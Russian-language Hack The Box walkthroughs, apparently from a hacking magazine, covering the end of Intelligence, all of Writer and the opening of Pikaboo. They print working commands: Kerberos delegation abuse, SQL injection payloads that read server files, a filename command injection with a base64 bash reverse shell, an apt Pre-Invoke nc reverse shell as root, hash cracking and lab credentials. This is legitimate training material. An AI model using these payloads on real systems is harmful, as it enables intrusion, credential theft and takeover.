с помощью Responder. Сна­чала акти­виру­ем наш отлавли­ватель.

sudo responder -I tun0 -wrf

А теперь исполь­зуем dnstool из  пакета ути­лит krbrelayx для  добав­ления


записи DNS с нашим IP-адре­сом.

python3 dnstool.py -u 'intelligence.htb\Tiffany.Molina' -p


'NewIntelligenceCorpUser9876' -a add -r webralf.intelligence.htb -d
10.10.14.14 10.10.10.248

Соз­дание записи DNS

За­пись успешно добав­лена, оста­лось подож­дать под­клю­чения, так как скрипт


выпол­няет­ся раз в  пять минут. Дол­го ждать не  приш­лось  — я поч­ти сра­зу
получил желан­ный NTLMv2-хеш поль­зовате­ля.

Ло­ги Responder

Быс­тро переб­рать хеш мы можем с помощью hashcat, но перед этим необ‐­


ходимо узнать тип хеша. Для это­го мож­но вос­поль­зовать­ся встро­енны­ми при‐­
мера­ми хешей и греп­нуть толь­ко нуж­ный нам NTLMv2.

hashcat --example | grep -A2 -B2 NTLMv2

По­луче­ние типа хеша

Нас инте­ресу­ет чис­ло в гра­фе MODE — это и есть тип хеша. Его мы переда­ем
hashcat в  парамет­ре -m. Параметр -a, рав­ный нулю, говорит о  перебо­ре
по сло­варю.

hashcat -m 5600 -a 0 hash.txt ../tools/rockyou.txt

Па­роль поль­зовате­ля

Па­роль нашел­ся очень быс­тро, но, где его исполь­зовать, я на  этом эта­пе
не понимал.

Повышение привилегий
Для поис­ка путей экс­плу­ата­ции и  повыше­ния при­виле­гий в  Active Directory
написа­но мно­го скрип­тов на  PowerShell, и  самый популяр­ный из  них  —
PowerView. Его даже перепи­сали на  C#, что­бы работать без  PowerShell.
Единс­твен­ный минус  — нуж­но уже при­сутс­тво­вать в  сре­де Active Directory.
Но мало кто зна­ет, что его так­же перепи­сали и на Python, ути­лита называ­ется
pywerview. Имен­но этой вер­сией мы и вос­поль­зуем­ся.
Пер­вым делом узна­ем информа­цию о поль­зовате­лях, груп­пах и слу­жеб­ных
акка­унтах с  помощью команд get-netuser, get-netgroup и  get-
netcomputer.

./pywerview.py get-netcomputer -u 'Ted.Graves' -p 'Mr.Teddy' -d


intelligence.htb -t dc.intelligence.htb --full-data

Ре­зуль­тат работы скрип­та

Пос­ледняя коман­да откры­вает мно­го инте­рес­ной информа­ции. Во‑пер­вых,


слу­жеб­ная учет­ная запись svc_int$ ока­залась записью MSA, и для нее уста‐­
нов­лен флаг msds-allowedtodelegateto. Раз­бира­ем по поряд­ку.

Управляемые учетные записи Active Directory


Уп­равля­емые учет­ные записи (Managed Service Accounts, MSA)  — это  спе‐­
циаль­ный тип учет­ных записей Active Directory, которые мож­но исполь­зовать
для  безопас­ного запус­ка служб, при­ложе­ний и  заданий пла­ниров­щика.
Основная их идея в  том, что паролем таких учет­ных записей пол­ностью
управля­ет Active Directory. Для  них авто­мати­чес­ки генери­рует­ся слож­ный
пароль дли­ной  240  сим­волов, который меня­ется авто­мати­чес­ки каж‐­
дые 30 дней. Для аутен­тифика­ции исполь­зует­ся толь­ко Kerberos, так как инте‐­
рак­тивный вход невоз­можен. Это  свя­зано с  тем, что пароль не  известен
никому и  не хра­нит­ся в  локаль­ной сис­теме, поэто­му его нель­зя извлечь
из сис­темно­го про­цес­са LSASS с помощью mimikatz.
Но и такими учет­ными запися­ми нуж­но как‑то управлять, а это зна­чит, что
если у нас есть дос­туп к ним, то мы можем получить хеш ее пароля. Для это­го
написан инс­тру­мент gMSADumper.

python3 gMSADumper.py -u 'Ted.Graves' -p 'Mr.Teddy' -d 'intelligence.


htb' -l 'dc.intelligence.htb'

По­луче­ние хеша учет­ной записи svc_int$

У нас есть хеш пароля учет­ной записи!

Ограниченное делегирование (Kerberos Constrained Delegation)


Те­перь вспом­ним про  атри­бут msds-allowedtodelegateto, который дол­жен
содер­жать спи­сок имен SPN. Этот атри­бут исполь­зует­ся для нас­трой­ки служ‐­
бы таким обра­зом, что­бы она мог­ла получать билеты служ­бы, которые мож­но
исполь­зовать для огра­ничен­ного делеги­рова­ния.
Ог­раничен­ное делеги­рова­ние исполь­зует два основных рас­ширения
Kerberos: S4U2Self и S4U2Proxy. На высоком уров­не S4U2Self поз­воля­ет учет‐­
ной записи зап­рашивать билет служ­бы для  себя от  име­ни любого дру­гого
поль­зовате­ля (без пароля). Если бит TRUSTED_TO_AUTH_FOR_DELEGATION
уста­нов­лен (как в  нашем слу­чае), то билет (TGS) будет помечен как  делеги‐­
рован­ный.

Фла­ги UAC

За­тем S4U2Proxy исполь­зует­ся учет­ной записью с помощью делеги­рован­ного


TGS, что­бы зап­росить TGS для  ука­зан­ного SPN. Таким обра­зом, имея TGS
для целево­го SPN, мы смо­жем выпол­нять дей­ствия от име­ни учет­ной записи
служ­бы.

Silver Ticket
Да­вай сде­лаем Silver Ticket для SPN WWW. Но перед этим нуж­но выс­тавить сис‐­
темное вре­мя как на сер­вере (для аутен­тифика­ции Kerberos необ­ходимо раз‐­
личие в сис­темном вре­мени не более пяти минут).

sudo apt install ntpdate

sudo ntpdate 10.10.10.248

Зап­рос и уста­нов­ка сис­темно­го вре­мени с сер­вера NTP

За­тем соз­даем и  экспор­тиру­ем билет. Для  это­го нам понадо­бит­ся скрипт


getST из пакета impacket. Ука­зыва­ем SPN (параметр -spn), учет­ные дан­ные
и поль­зовате­ля.

getST.py intelligence.htb/svc_int$ -spn WWW/dc.intelligence.htb


-hashes :d64b83fe606e6d3005e20ce0ee932fe2 -impersonate Administrator

export KRB5CCNAME=Administrator.ccache

Соз­дание и экспорт билета

А теперь поп­робу­ем под­клю­чить­ся к  обще­му ресур­су от  име­ни адми­нис­тра‐­


тора. В  парамет­рах ука­зыва­ем опции авто­риза­ции Kerberos (-k) без  вво­да
пароля (-no-pass).

python3 /usr/share/doc/python3-impacket/examples/smbclient.py -k
intelligence.htb/Administrator@dc.intelligence.htb -no-pass

Под­клю­чение к обще­му ресур­су

Флаг рута

Мы получи­ли флаг рута, а зна­чит, машина зах­вачена!


ВЗЛОМ

HTB
WRITER

ЛОМАЕМ ПРИЛОЖЕНИЕ
НА DJANGO, ЧТОБЫ ЗАХВАТИТЬ
ВЕБ-СЕРВЕР

В этой статье я покажу, как  с помощью


SQL-инъ­екции получить исходные коды
при­ложе­ния, затем про­экс­плу­ати­руем уяз‐­
вимость заг­рузки и  обра­бот­ки фай­лов,
а под конец поищем путь к повыше­нию при‐­ RalfHacker
hackerralf8@gmail.com
виле­гий через монито­ринг запус­каемых
поль­зовате­лем про­цес­сов. Все это  пот‐­
ребу­ется, что­бы прой­ти сред­нюю по  слож‐­
ности машину Writer с  пло­щад­ки Hack
The Box.

WARNING
Под­клю­чать­ся к  машинам с  HTB рекомен­дует­ся
толь­ко через VPN. Не делай это­го с компь­юте­ров,
где есть важ­ные для тебя дан­ные, так как ты ока‐­
жешь­ся в общей сети с дру­гими учас­тни­ками.

РАЗВЕДКА
Сканирование портов
До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.10.101 writer.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов


Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз‐­
воля­ет ата­кующе­му узнать, какие служ­бы на  хос­те при­нима­ют соеди­нение.
На  осно­ве этой информа­ции выбира­ется сле­дующий шаг к  получе­нию точ­ки
вхо­да.
На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить
резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та.

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |
tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Он дей­ству­ет в  два эта­па. На  пер­вом про­изво­дит­ся обыч­ное быс­трое ска‐­


ниро­вание, на  вто­ром  — более тща­тель­ное, с  исполь­зовани­ем име­ющих­ся
скрип­тов (опция -A).

Ре­зуль­тат работы скрип­та

На­ходим четыре откры­тых пор­та:


• 22 — служ­ба OpenSSH 8.2p1;
• 80 — веб‑сер­вер Apache 2.4.1;
• 139 — служ­ба NetBIOS;
• 445 — служ­ба smbd 4.6.2.

Справка: брутфорс учеток


Пос­коль­ку в  начале у  нас нет учет­ных дан­ных, нет и  смыс­ла изу­чать служ­бы,
которые всег­да тре­буют авто­риза­ции (нап­ример, SSH). Единс­твен­ное, что мы
можем делать здесь,  — это  переби­рать пароли брут­форсом, но  у машин
с HTB поч­ти всег­да есть дру­гое про­хож­дение. В жиз­ни таких вари­антов может
не  быть, к  тому же есть шан­сы подоб­рать пароль или  получить его
при помощи соци­аль­ной инже­нерии.

Служба SMB
Пос­мотрим, что мы смо­жем узнать об  SMB без  учет­ных дан­ных. Для  это­го
дос­таточ­но все­го одной коман­ды:

enum4linux -a writer.htb

По­лучен­ные поль­зовате­ли

Из инте­рес­ной информа­ции — два име­ни поль­зовате­лей kyle и john.

Сканирование веб-контента
Заг­лянем на  глав­ную стра­ницу сай­та. Здесь ничего инте­рес­ного нет, раз­ве
что име­на авто­ров над каж­дым пос­том. В таких слу­чаях нуж­но искать допол‐­
нитель­ные стра­ницы при  помощи сле­пого перебо­ра. Прос­каниру­ем дирек‐­
тории в кор­невом катало­ге сай­та с помощью ffuf.

ffuf -u http://writer.htb/FUZZ -fc 403 -t 200 -w directory_2.3_


medium.txt

Справка: сканирование веба c ffuf


Од­но из  пер­вых дей­ствий при  тес­тирова­нии безопас­ности веб‑при­ложе‐­
ния — это ска­ниро­вание методом перебо­ра катало­гов, что­бы най­ти скры­тую
информа­цию и недос­тупные обыч­ным посети­телям фун­кции. Для это­го мож­но
исполь­зовать прог­раммы вро­де dirsearch и DIRB.
Я пред­почитаю лег­кий и  очень быс­трый ffuf. При  запус­ке ука­зыва­ем сле‐­
дующие парамет­ры:
• -w — сло­варь (исполь­зуем directory-list-2.3-medium из набора SecLists);
• -t — количес­тво потоков;
• -u — URL;
• -fc — исклю­чить из резуль­тата отве­ты с кодом 403.

Ре­зуль­тат ска­ниро­вания фай­лов

По­мимо извес­тных нам стра­ниц, мы наш­ли вход в админку. Там нас ждет фор‐­
ма авто­риза­ции.

Фор­ма авто­риза­ции

ТОЧКА ВХОДА
Так как  сайт самопис­ный, я решил про­тес­тировать обход аутен­тифика­ции
для раз­ных тех­нологий. Начал, конеч­но же, с SQL-инъ­екции. Перево­дим зап‐­
рос в Burp Intruder и под­став­ляем спи­сок наг­рузок и в поле логина, и в поле
пароля (у меня свой спи­сок, но  их пол­но на  GitHub). В  резуль­тате находим
пос­ледова­тель­нос­ти, которые воз­вра­щают мень­ше дан­ных, чем все осталь‐­
ные.

Пе­ребор наг­рузок с помощью Burp Intruder

Это работа­ет, так как, ско­рее все­го, на сто­роне сер­вера исполь­зует­ся SQL-
зап­рос вро­де такого (код при­мер­ный):

select __ from __ where username='$_POST["username"]' and password=''


$_POST["password"]'

При исполь­зовании наг­рузки admin' # мы прев­раща­ем его в  зап­рос вида


select __ from __ where username='admin', так как решет­ка — это сим‐­
вол, обоз­нача­ющий в  SQL начало ком­мента­рия. Исполь­зуем эту наг­рузку
и получа­ем дос­туп к админке сай­та.

Стра­ница адми­нис­тра­тора сай­та

Из инте­рес­ного на  стра­нице лишь фор­ма заг­рузки фай­лов. Одна­ко преж­де,


чем изу­чать ее, я решил вер­нуть­ся к  SQL-инъ­екции. Из  нее явно мож­но
выжать что‑то еще! Давай потес­тиру­ем фор­му авто­риза­ции и  отпра­вим
на перебор сло­варь с дру­гими наг­рузка­ми. Получим нес­коль­ко резуль­татов.

Тес­тирова­ние boolean based инъ­екций

Тес­тирова­ние UNION based инъ­екций

Инъ­екции типа boolean и UNION based дают положи­тель­ный резуль­тат. Опи‐­


раясь на  пер­вую, мы можем пос­тро­ить «воп­роситель­ный» зап­рос и  смо­жем
получать отве­ты о  том, вер­но или  невер­но какое‑то наше пред­положе­ние.
UNION based инъ­екции помога­ют извле­кать за один зап­рос боль­шие объ­емы
дан­ных. Поэто­му выбира­ем вто­рой тип.
При этом мы уже зна­ем количес­тво стол­бцов в  исполь­зуемой таб­лице  —
их шесть. Давай опре­делим, дан­ные из  каких стол­бцов выводят­ся в  отве­те.
Для  это­го в  каж­дом стол­бце переда­дим уни­каль­ную пос­ледова­тель­ность
и поищем ее в получа­емой стра­нице. При записи наг­рузки в Burp выделим ее
и наж­мем Ctrl-U для URL-кодиро­вания.

UNION ALL SELECT 888,8888,88888,888888,8888888,88888888 #

Оп­ределе­ние целево­го стол­бца таб­лицы

По количес­тву вось­мерок опре­деля­ем вто­рой стол­бец! Теперь про­верим тип


дан­ных. Нап­ример, вот такой стро­кой:

UNION ALL SELECT 888,"TEST_SQL",88888,888888,8888888,88888888#

Тес­тирова­ние строч­ного типа дан­ных

Как мы видим, стро­ка отоб­разилась в отве­те. Получим име­ющиеся базы дан‐­


ных. Что­бы объ­еди­нить нес­коль­ко строк в одну, исполь­зуем фун­кции concat
или group_concat.

UNION ALL SELECT 1,concat(':::',schema_name),3,4,5,6 from


information_schema.schemata #

Ба­зы дан­ных

Те­перь получим таб­лицы из  таб­лицы writer. Что­бы не  копиро­вать дан­ные
каж­дый раз, мож­но исполь­зовать Burp Inspector. Тог­да кодиров­ка будет
выпол­нять­ся авто­мати­чес­ки.

asd' UNION ALL SELECT 1,group_concat(0x7c,table_name,0x7c),3,4,5,6


from information_schema.tableas WHERE table_schema = 'writer'#

Таб­лицы

По­луча­ем таб­лицы. Ско­рее все­го, в  users смо­жем най­ти учет­ные дан­ные.


Давай узна­ем име­на стол­бцов из этой таб­лицы.

asd' UNION ALL SELECT 1,group_concat(0x7c,column_name,0x7c),3,4,5,6


from information_schema.columns WHERE table_name = 'users'#

Име­на стол­бцов в таб­лице users

От­лично, име­ем username и password. Дам­пим пароли.

asd' UNION ALL SELECT 1,group_concat(0x7c,password,0x7c),3,4,5,6


from users#

Хеш пароля поль­зовате­ля

По­луча­ем хеш. Толь­ко есть одна заг­воз­дка — он нам ничего не дает. Поэто­му
нуж­но сно­ва менять век­тор ата­ки. Поп­робу­ем читать фай­лы с сер­вера, к при‐­
меру из /etc/passwd.

asd' UNION ALL SELECT 1,LOAD_FILE('/etc/passwd'),3,4,5,6#

Со­дер­жимое фай­ла /etc/passwd

Зап­рос успешно обра­ботан, и мы получа­ем все содер­жимое фай­ла.

Продолжение статьи

ВЗЛОМ ←
НАЧАЛО СТАТЬИ

HTB WRITER
ЛОМАЕМ ПРИЛОЖЕНИЕ НА DJANGO,
ЧТОБЫ ЗАХВАТИТЬ ВЕБ-СЕРВЕР

ТОЧКА ОПОРЫ
Так как мы можем читать фай­лы на сер­вере, сле­дующий наш шаг — получить
и про­ана­лизи­ровать исходные коды сай­та. Что­бы узнать путь к фай­лам сай­та,
взгля­нем на файл кон­фигура­ций Apache /etc/apache2/sites-enabled/000-
default.conf.

asd' UNION ALL SELECT 1,LOAD_FILE("/etc/apache2/sites-enabled/


000-default.conf"),3,4,5,6#

Файл кон­фигура­ций Apache

Те­перь мы зна­ем путь к  фай­лу writer.wsgi на  сер­вере. WSGI (Web Server
Gateway Interface) — стан­дарт вза­имо­дей­ствия меж­ду прог­раммой на Python,
работа­ющей на  сто­роне сер­вера, и  самим веб‑сер­вером. Получим содер‐­
жимое это­го фай­ла.

asd' UNION ALL SELECT 1,LOAD_FILE("/var/www/writer.htb/writer.wsgi"),


3,4,5,6#

Со­дер­жимое фай­ла wsgi.py

Этот файл содер­жит код, который выпол­няет модуль Apache mod_wsgi, что­бы
получить объ­ект при­ложе­ния. В дан­ном слу­чае мы узна­ем про модуль writer.
Имен­но из это­го катало­га мы получим файл __init__.py.

asd' UNION ALL SELECT 1,LOAD_FILE("/var/www/writer.htb/writer/


__init__.py"),3,4,5,6#

Я ско­пиро­вал весь код и  вста­вил в  VS Code  — так будет удоб­нее ана­лизи‐­


ровать. В  исходном коде обра­тим вни­мание на  исполь­зование модуля os
и вызов фун­кции system, которая поз­воля­ет выпол­нять коман­ды при помощи
коман­дно­го интер­пре­тато­ра сис­темы. Пог­рузим­ся в  ана­лиз имен­но на  этом
мес­те, так как подоб­ные вызовы всег­да опас­ны.

Со­дер­жимое глав­ного фай­ла сай­та

Так, при  заг­рузке фай­ла с  URL про­веря­ется его рас­ширение, оно дол­жно
быть .jpg (стро­ка  108). Далее про­исхо­дит получе­ние фай­ла и  его раз‐­
мещение вызовом коман­ды mv (стро­ки  110–112). Затем про­веря­ется изоб‐­
ражение (стро­ки 114–116), если успешно — той же коман­дой mv оно переме‐­
щает­ся из вре­мен­ной дирек­тории в дирек­торию на веб‑сер­вере (стро­ки 117–
119). Если про­вер­ка не прой­дена, коман­да rm уда­ляет файл.
Так как  допол­нитель­ных про­верок не  пре­дус­мотре­но, мы можем соз­дать
кон­вей­ер команд и  выпол­нить инъ­екцию. Это  даст уда­лен­ное выпол­нение
кода. Плюс ко все­му про­вер­ка отсутс­тву­ет и при заг­рузке фай­ла через фор­му.
Так мы можем заг­рузить файл, наз­вание которо­го будет содер­жать цепоч­ку
команд с  реверс‑шел­лом, а  затем ука­зать заг­рузку фай­ла через URL
с локаль­ного хра­нили­ща, что при­ведет к выпол­нению этой цепоч­ки команд.
Те­перь собира­ем цепоч­ку команд. Будем исполь­зовать такой
реверс‑шелл:

bash -i >& /dev/tcp/10.10.14.121/4321 0>&1

За­коди­руем его в  Base64. Цепоч­ка дол­жна переда­вать закоди­рован­ный


реверс‑шелл в декоди­ров­щик Base64, а затем фай­лу коман­дной обо­лоч­ки.

touch '1.jpg; `echo


YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMjEvNDMyMSAwPiYxCg== |base64
-d |bash -i`'

Заг­рузка фай­ла через фор­му

В дирек­тории с заг­ружен­ными фай­лами уви­дим свой.

Заг­ружен­ные на сер­вер фай­лы

Так как мы заг­рузили реверс‑шелл, запус­тим лис­тенер:

rlwrap nc -lvp 4321

Справка: реверс-шелл
Об­ратный шелл — это под­клю­чение, которое акти­виру­ет ата­куемая машина,
а  мы при­нима­ем и  таким обра­зом под­клю­чаем­ся к  ней, что­бы выпол­нять
коман­ды от  лица поль­зовате­ля, который запус­тил шелл. Для  при­ема соеди‐­
нения необ­ходимо соз­дать на  локаль­ной машине listener, то есть «слу‐­
шатель».
В таких слу­чаях при­годит­ся rlwrap  — readline-обо­лоч­ка, которая в  чис­ле
про­чего поз­воля­ет поль­зовать­ся исто­рией команд. Она обыч­но дос­тупна
в репози­тории дис­три­бути­ва.
В качес­тве самого лис­тенера при  этом мож­но исполь­зовать широко
извес­тный netcat.

Те­перь выпол­ним заг­рузку через URL, при  этом в  Burp Proxy изме­ним путь
на  локаль­ный и  добавим к  коман­де знак ком­мента­рия. В  окне лис­тенера
получим бэк­коннект.

Заг­рузка фай­ла через URL

Бэк­коннект от сер­вера

ПОЛУЧЕНИЕ ПОЛЬЗОВАТЕЛЯ
Поиск учетных данных
В боль­шинс­тве слу­чаев, ког­да мы собира­емся поменять кон­текст на  поль‐­
зователь­ский, нам для  это­го нуж­ны учет­ные дан­ные. Так как  на сер­вере
работа­ет веб‑при­ложе­ние, мы можем попытать­ся получить пароли из  него.
В  кон­фигура­цион­ном фай­ле MySQL /etc/mysql/mariadb.cnf находим све‐­
дения для под­клю­чения к базе дан­ных.

Со­дер­жимое дирек­тории /etc/mysql/

Учет­ные дан­ные для под­клю­чения к базе дан­ных

Сна­чала я про­верил, не под­ходит ли этот пароль к акка­унтам сис­темных поль‐­


зовате­лей, но  успе­ха не  добил­ся. Поэто­му про­дол­жим копать­ся в  базе дан‐­
ных.

python3 -c 'import pty;pty.spawn("/bin/bash")'


mysql -u djangouser -h 127.0.0.1 -p

Пос­ле под­клю­чения коман­дой show databases; прос­мотрим сущес­тву­ющие


базы дан­ных.

Ба­зы дан­ных

Вто­рая база слу­жеб­ная, поэто­му нам инте­рес­на пер­вая. Под­клю­чаем­ся к ней


и смот­рим таб­лицы.

use dev;
show tables;

Под­клю­чение к базе дан­ных

Таб­лицы в базе dev

А теперь учет­ные дан­ные из таб­лицы auth_user.

select username,password from auth_user;

Со­дер­жимое таб­лицы auth_user

Мы получа­ем хеш, который нуж­но проб­рутить. Для это­го нам надо знать алго‐­
ритм и  соот­ветс­тву­ющий ему режим hashcat. Узнать их мож­но такой коман‐­
дой:

hashcat --example | grep pbkdf2_sha256 -A2 -B2

По­луче­ние режима hashcat

Те­перь мы зна­ем режим (10000) и  можем проб­рутить хеш. Ука­зыва­ем


перебор по  сло­варю (опция -a 0), режим (опция -m), файл с  хешем и  сло‐­
варь. Спус­тя нес­коль­ко минут мы получа­ем пароль.

hashcat -a 0 -m 10000 hash.pbkdf2 ../tools/rockyou.txt

По­лучен­ный пароль поль­зовате­ля

Под­клю­чаем­ся по SSH и забира­ем пер­вый флаг.

Флаг поль­зовате­ля

ПРОДВИЖЕНИЕ
При поис­ке пути прод­вижения сто­ит смот­реть не  толь­ко на  запущен­ное ПО,
но  и на  прос­лушива­емые пор­ты. Это  свя­зано с  тем, что некото­рые сер­висы
могут быть дос­тупны толь­ко для  поль­зовате­лей локаль­ного компь­юте­ра.
Обра­щаем вни­мание на порт 25 — это порт поч­тового сер­вера.

Спи­сок прос­лушива­емых пор­тов

Мы зна­ем двух поль­зовате­лей, и  один у  нас уже под  кон­тро­лем. Мне ста­ло
инте­рес­но, что про­изой­дет в сис­теме, если я отправ­лю дру­гому поль­зовате‐­
лю сооб­щение.
Для монито­рин­га всех запус­каемых в сис­теме про­цес­сов в реаль­ном вре‐­
мени будем исполь­зовать ути­литу pspy64. Заг­ружа­ем ее на хост, откры­ваем
еще  одну сес­сию SSH и  запус­каем. Затем с  помощью netcat под­клю­чим­ся
к 25-му пор­ту и, исполь­зуя слу­жеб­ные заголов­ки SMTP, отпра­вим сооб­щение.

nc 127.0.0.1 25

helo [сервер]

MAIL FROM: [отправитель]

RCPT TO: [получатель]

DATA

[сообщение]

От­прав­ка сооб­щения

Ло­ги pspy

Со­обще­ние вста­ло в оче­редь, а в логах pspy уви­дим активность: запуск pipe
и  пос­леду­ющее выпол­нение /etc/postfix/disclaimer от  име­ни поль‐­
зовате­ля с UID, рав­ным 1001 (поль­зователь john). При этом мы име­ем пра­во
на запись в дан­ный файл!

Пра­ва на файл /etc/postfix/disclaimer

Это путь к  зах­вату дру­гого поль­зовате­ля. Мы дол­жны записать в  него


реверс‑шелл и  отпра­вить новое пись­мо, тог­да наш реверс‑шелл будет
выпол­нен от име­ни дру­гого поль­зовате­ля.

Из­менен­ный файл disclaimer

Что­бы это  про­изош­ло навер­няка, будем в  бес­конеч­ном цик­ле отправ­лять


сооб­щения и в дру­гом бес­конеч­ном цик­ле переза­писы­вать файл. Вот скрипт
для переза­писи фай­ла:

while true ; do cp disclaimer /etc/postfix/disclaimer ; done

Для удоб­ной отправ­ки сооб­щения одной коман­дой исполь­зуем кли­ент


swaks.

swaks --to [получатель] --from [отправитель] --server [сервер] --port


[порт] --body [файл с сообщением]

Но отправ­лять будем через Socks-тун­нель. Сде­лать его мож­но легитим­ным


SSH:

ssh -D 9090 kyle@writer.htb

Те­перь весь тра­фик, при­ходя­щий на локаль­ный порт 9090, будет рет­ран­сли‐­


рован в  тун­нель. В  качес­тве рет­ран­сля­тора будем исполь­зовать
Proxychains. Откры­ваем лис­тенер коман­дой rlwrap nc -lvp [port],
запус­каем цикл перепи­сыва­ния фай­ла, а  потом начина­ем в  таком же цик­ле
отправ­лять сооб­щения:

while true; do ; proxychains -q swaks --to john@writer.htb --from


kyle@writer.htb --server 127.0.0.1 --port 25 --body message.txt ;
done

По­лучен­ный бэк­коннект

По­луча­ем бэк­коннект, забира­ем при­ват­ный ключ поль­зовате­ля и  под­клю‐­


чаем­ся заново по ста­биль­ному SSH.

Но­вая сес­сия SSH

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ


Ес­ли ты очень вни­матель­но изу­чишь логи pspy, то заметишь еще  один инте‐­
рес­ный факт  — пос­тоян­ный запуск коман­ды apt update для  обновле­ния
информа­ции о репози­тори­ях apt.

Ло­ги pspy

По информа­ции из базы GTFOBins, у нас была бы воз­можность повысить при‐­


виле­гии, если бы мы сами выпол­няли эту коман­ду через sudo.
Из вывода коман­ды id мы можем узнать, что текущий поль­зователь  —
член груп­пы management. Поис­кав фай­лы, дос­тупные для этой груп­пы (find /
-group management 2>/dev/null), обна­ружим дирек­торию apt.conf.d.

Пра­ва на каталог /etc/apt/apt.conf.d/

Все фай­лы в  /etc/apt/apt.conf.d/ — это инс­трук­ции, нас­тра­ивающие APT.


APT при­меня­ет их в алфа­вит­ном поряд­ке, поэто­му более поз­дняя инс­трук­ция
может изме­нять парамет­ры, уста­нов­ленные пред­шес­тву­ющи­ми ей инс­трук‐­
циями. То есть мы можем соз­дать файл кон­фигура­ции, в  котором
перед  обновле­нием репози­тори­ев выпол­ним реверс‑шелл в  при­виле­гиро‐­
ван­ном кон­тек­сте. Откры­ваем лис­тенер (rlwrap -lvp 4321) и  запол­няем
кон­фиг.

echo 'apt::Update::Pre-Invoke {“rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/


bin/sh -i 2>&1|nc 10.10.14.151 4321 >/tmp/f”};’ > /etc/apt/apt.conf.
d/ralf.conf

Как толь­ко выпол­нится коман­да apt-get update, мы получим бэк­коннект.

Флаг рута

Мы получи­ли пол­ный кон­троль над машиной и заб­рали флаг рута!


ВЗЛОМ

HTB
PIKABOO

ПЕНТЕСТИМ NGINX
И ПОВЫШАЕМ ПРИВИЛЕГИИ
ЧЕРЕЗ LFI

В этой статье мы зай­мем­ся экс­плу­ата­цией


неп­равиль­но нас­тро­енных али­асов nginx,
поз­накомим­ся с одной из тех­ник получе­ния
RCE через локаль­ное вклю­чение фай­лов,
порабо­таем с  LDAP в  Linux и  най­дем уяз‐­ RalfHacker
hackerralf8@gmail.com
вимость в  поль­зователь­ском скрип­те. Все
это  поможет нам зах­ватить флаг рута
на  машине Pikaboo с  пло­щад­ки Hack
The Box.

WARNING
Под­клю­чать­ся к  машинам с  HTB рекомен­дует­ся
толь­ко через VPN. Не делай это­го с компь­юте­ров,
где есть важ­ные для тебя дан­ные, так как ты ока‐­
жешь­ся в общей сети с дру­гими учас­тни­ками.

РАЗВЕДКА
Сканирование портов
До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.10.249 pikaboo.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов


Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз‐­
воля­ет ата­кующе­му узнать, какие служ­бы на  хос­те при­нима­ют соеди­нение.
На  осно­ве этой информа­ции выбира­ется сле­дующий шаг к  получе­нию точ­ки
вхо­да.
На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить
резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та.

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |
tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Он дей­ству­ет в  два эта­па. На  пер­вом про­изво­дит­ся обыч­ное быс­трое ска‐­


ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем
име­ющих­ся скрип­тов (опция -A).

Ре­зуль­тат работы скрип­та

Мы наш­ли три откры­тых пор­та: 21 (служ­ба VSFTPD 3.0.3), 22 (служ­ба SSH) и 80
(веб‑сер­вер nginx 1.14.2). На SSH без учет­ных дан­ных сту­чать­ся бес­полез­но,
но и на FTP нам делать нечего: Nmap уже про­верил воз­можность ано­ним­ного
вхо­да и не обна­ружил ее.

Брут FTP
Мож­но про­бовать переб­рать популяр­ные логины для  FTP. Ты лег­ко най­дешь
готовые спис­ки зап­росом вро­де ftp default credentials github.
Для  это­го будем исполь­зовать hydra (не путать с  Ghidra). Опци­ей -t уста‐­
новим 32 потока.

hydra -L ftp_username.txt -P ftp_password.txt -t 32 pikaboo.htb ftp

Ре­зуль­тат перебо­ра учет­ных дан­ных

Из это­го ничего не выш­ло, поэто­му перей­дем к вебу.

СКАНИРОВАНИЕ ВЕБ-КОНТЕНТА
Смот­рим сайт и  обна­ружи­ваем, что он еще  в раз­работ­ке, о  чем сви­детель‐­
ству­ют сооб­щения «PokeAPI Integration - Coming soon!» на  некото­рых стра‐­
ницах.

Стар­товая стра­ница сай­та

Толь­ко при  перехо­де к  стра­нице адми­нис­тра­тора нас встре­тит HTTP-аутен‐­


тифика­ция. Если отка­зать­ся от про­вер­ки учет­ных дан­ных, получим сле­дующее
сооб­щение об ошиб­ке дос­тупа.

Ошиб­ка дос­тупа

В этой ошиб­ке инте­рес­но сооб­щение об исполь­зовании веб‑сер­вера Apache


на  пор­те  81. При  этом обра­щались мы к  пор­ту  80, на  котором работа­ет
веб‑сер­вер nginx (по край­ней мере, нам об  этом сооб­щил Nmap). Похоже,
при  обра­щении к  катало­гу адми­нис­тра­тора работа­ет какая‑то внут­ренняя
пере­адре­сация меж­ду сер­верами.

ТОЧКА ВХОДА
Уязвимость nginx path traversal
Ес­ли стал­кива­ешь­ся с  веб‑сер­вером nginx, всег­да сто­ит искать уяз­вимость
обхо­да путей. Она появ­ляет­ся при  неп­равиль­но нас­тро­енных али­асах. Nginx
alias  — это  некий псев­доним, который поз­воля­ет скрыть реаль­ное мес‐­
тополо­жение объ­екта. Он зада­ется в  дирек­тиве location. К  при­меру, сле‐­
дующая кон­фигура­ция уста­новит замену /img/ на /web/data/images/:

location /img/ {

alias /web/data/images/;

При обра­щении к  /img/test.png веб‑сер­вер вер­нет файл /web/data/


images/test.png. Уяз­вимость появ­ляет­ся при  неп­равиль­ном ука­зании
location, к при­меру как в сле­дующей кон­фигура­ции:

location /img {

alias /web/data/images/;

